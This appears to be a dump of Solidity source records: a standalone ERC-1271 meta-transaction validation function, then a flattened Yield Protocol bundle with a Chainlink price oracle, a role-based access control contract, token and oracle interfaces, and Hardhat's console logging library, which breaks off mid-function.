function _validateMetaTransaction( address account, bytes memory context, bytes memory signatures ) private returns (bytes32 orderID) { orderID = keccak256(context); require( !_invalidMetaTxHashes[orderID], "Order is no longer valid." ); _invalidMetaTxHashes[orderID] = true; bytes32 digest = keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", orderID) ); bytes memory data = abi.encode(digest, context); bytes4 magic = ERC1271Interface(account).isValidSignature(data, signatures); require(magic == bytes4(0x20c13b0b), "Invalid signatures."); }
7,890,657
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; import "@yield-protocol/utils-v2/contracts/access/AccessControl.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastBytes32Bytes6.sol"; import "@yield-protocol/utils-v2/contracts/token/IERC20Metadata.sol"; import "@yield-protocol/vault-interfaces/IOracle.sol"; import "../../constants/Constants.sol"; import "./AggregatorV3Interface.sol"; /** * @title ChainlinkMultiOracle * @notice Chainlink only uses USD or ETH as a quote in the aggregators, and we will use only ETH */ contract ChainlinkMultiOracle is IOracle, AccessControl, Constants { using CastBytes32Bytes6 for bytes32; event SourceSet(bytes6 indexed baseId, IERC20Metadata base, bytes6 indexed quoteId, IERC20Metadata quote, address indexed source); struct Source { address source; uint8 baseDecimals; uint8 quoteDecimals; bool inverse; } mapping(bytes6 => mapping(bytes6 => Source)) public sources; /// @dev Set or reset an oracle source and its inverse function setSource(bytes6 baseId, IERC20Metadata base, bytes6 quoteId, IERC20Metadata quote, address source) external auth { sources[baseId][quoteId] = Source({ source: source, baseDecimals: base.decimals(), quoteDecimals: quote.decimals(), inverse: false }); emit SourceSet(baseId, base, quoteId, quote, source); if (baseId != quoteId) { sources[quoteId][baseId] = Source({ source: source, baseDecimals: quote.decimals(), // We are reversing the base and the quote quoteDecimals: base.decimals(), inverse: true }); emit SourceSet(quoteId, quote, baseId, base, source); } } /// @dev Convert amountBase base into quote at the latest oracle price. function peek(bytes32 baseId, bytes32 quoteId, uint256 amountBase) external view virtual override returns (uint256 amountQuote, uint256 updateTime) { if (baseId == quoteId) return (amountBase, block.timestamp); if (baseId == ETH || quoteId == ETH) (amountQuote, updateTime) = _peek(baseId.b6(), quoteId.b6(), amountBase); else (amountQuote, updateTime) = _peekThroughETH(baseId.b6(), quoteId.b6(), amountBase); } /// @dev Convert amountBase base into quote at the latest oracle price, updating state if necessary. Same as `peek` for this oracle. function get(bytes32 baseId, bytes32 quoteId, uint256 amountBase) external virtual override returns (uint256 amountQuote, uint256 updateTime) { if (baseId == quoteId) return (amountBase, block.timestamp); if (baseId == ETH || quoteId == ETH) (amountQuote, updateTime) = _peek(baseId.b6(), quoteId.b6(), amountBase); else (amountQuote, updateTime) = _peekThroughETH(baseId.b6(), quoteId.b6(), amountBase); } /// @dev Convert amountBase base into quote at the latest oracle price. function _peek(bytes6 baseId, bytes6 quoteId, uint256 amountBase) private view returns (uint amountQuote, uint updateTime) { int price; uint80 roundId; uint80 answeredInRound; Source memory source = sources[baseId][quoteId]; require (source.source != address(0), "Source not found"); (roundId, price,, updateTime, answeredInRound) = AggregatorV3Interface(source.source).latestRoundData(); require(price > 0, "Chainlink price <= 0"); require(updateTime != 0, "Incomplete round"); require(answeredInRound >= roundId, "Stale price"); if (source.inverse == true) { // ETH/USDC: 1 ETH (*10^18) * (1^6)/(286253688799857 ETH per USDC) = 3493404763 USDC wei amountQuote = amountBase * (10 ** source.quoteDecimals) / uint(price); } else { // USDC/ETH: 3000 USDC (*10^6) * 286253688799857 ETH per USDC / 10^6 = 858761066399571000 ETH wei amountQuote = amountBase * uint(price) / (10 ** source.baseDecimals); } } /// @dev Convert amountBase base into quote at the latest oracle price, using ETH as an intermediate step. function _peekThroughETH(bytes6 baseId, bytes6 quoteId, uint256 amountBase) private view returns (uint amountQuote, uint updateTime) { (uint256 ethAmount, uint256 updateTime1) = _peek(baseId, ETH, amountBase); (amountQuote, updateTime) = _peek(ETH, quoteId, ethAmount); if (updateTime1 < updateTime) updateTime = updateTime1; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes4` identifier. These are expected to be the * signatures for all the functions in the contract. Special roles should be exposed * in the external API and be unique: * * ``` * bytes4 public constant ROOT = 0x00000000; * ``` * * Roles represent restricted access to a function call. For that purpose, use {auth}: * * ``` * function foo() public auth { * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `ROOT`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {setRoleAdmin}. * * WARNING: The `ROOT` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ contract AccessControl { struct RoleData { mapping (address => bool) members; bytes4 adminRole; } mapping (bytes4 => RoleData) private _roles; bytes4 public constant ROOT = 0x00000000; bytes4 public constant ROOT4146650865 = 0x00000000; // Collision protection for ROOT, test with ROOT12007226833() bytes4 public constant LOCK = 0xFFFFFFFF; // Used to disable further permissioning of a function bytes4 public constant LOCK8605463013 = 0xFFFFFFFF; // Collision protection for LOCK, test with LOCK10462387368() /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role * * `ROOT` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes4 indexed role, bytes4 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call. */ event RoleGranted(bytes4 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes4 indexed role, address indexed account, address indexed sender); /** * @dev Give msg.sender the ROOT role and create a LOCK role with itself as the admin role and no members. * Calling setRoleAdmin(msg.sig, LOCK) means no one can grant that msg.sig role anymore. */ constructor () { _grantRole(ROOT, msg.sender); // Grant ROOT to msg.sender _setRoleAdmin(LOCK, LOCK); // Create the LOCK role by setting itself as its own admin, creating an independent role tree } /** * @dev Each function in the contract has its own role, identified by their msg.sig signature. * ROOT can give and remove access to each function, lock any further access being granted to * a specific action, or even create other roles to delegate admin control over a function. */ modifier auth() { require (_hasRole(msg.sig, msg.sender), "Access denied"); _; } /** * @dev Allow only if the caller has been granted the admin role of `role`. */ modifier admin(bytes4 role) { require (_hasRole(_getRoleAdmin(role), msg.sender), "Only admin"); _; } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes4 role, address account) external view returns (bool) { return _hasRole(role, account); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes4 role) external view returns (bytes4) { return _getRoleAdmin(role); } /** * @dev Sets `adminRole` as ``role``'s admin role. * If ``role``'s admin role is not `adminRole` emits a {RoleAdminChanged} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function setRoleAdmin(bytes4 role, bytes4 adminRole) external virtual admin(role) { _setRoleAdmin(role, adminRole); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes4 role, address account) external virtual admin(role) { _grantRole(role, account); } /** * @dev Grants all of `role` in `roles` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - For each `role` in `roles`, the caller must have ``role``'s admin role. */ function grantRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _grantRole(roles[i], account); } } /** * @dev Sets LOCK as ``role``'s admin role. LOCK has no members, so this disables admin management of ``role``. * Emits a {RoleAdminChanged} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function lockRole(bytes4 role) external virtual admin(role) { _setRoleAdmin(role, LOCK); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes4 role, address account) external virtual admin(role) { _revokeRole(role, account); } /** * @dev Revokes all of `role` in `roles` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - For each `role` in `roles`, the caller must have ``role``'s admin role. */ function revokeRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _revokeRole(roles[i], account); } } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes4 role, address account) external virtual { require(account == msg.sender, "Renounce only for self"); _revokeRole(role, account); } function _hasRole(bytes4 role, address account) internal view returns (bool) { return _roles[role].members[account]; } function _getRoleAdmin(bytes4 role) internal view returns (bytes4) { return _roles[role].adminRole; } function _setRoleAdmin(bytes4 role, bytes4 adminRole) internal virtual { if (_getRoleAdmin(role) != adminRole) { _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, adminRole); } } function _grantRole(bytes4 role, address account) internal { if (!_hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _revokeRole(bytes4 role, address account) internal { if (_hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastBytes32Bytes6 { function b6(bytes32 x) internal pure returns (bytes6 y){ require (bytes32(y = bytes6(x)) == x, "Cast overflow"); } } // SPDX-License-Identifier: MIT // Taken from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IOracle { /** * @notice Doesn't refresh the price, but returns the latest value available without doing any transactional operations: * @return value in wei */ function peek(bytes32 base, bytes32 quote, uint256 amount) external view returns (uint256 value, uint256 updateTime); /** * @notice Does whatever work or queries will yield the most up-to-date price, and returns it. * @return value in wei */ function get(bytes32 base, bytes32 quote, uint256 amount) external returns (uint256 value, uint256 updateTime); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; contract Constants { bytes32 CHI = "CHI"; bytes32 RATE = "RATE"; bytes6 ETH = "00"; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", 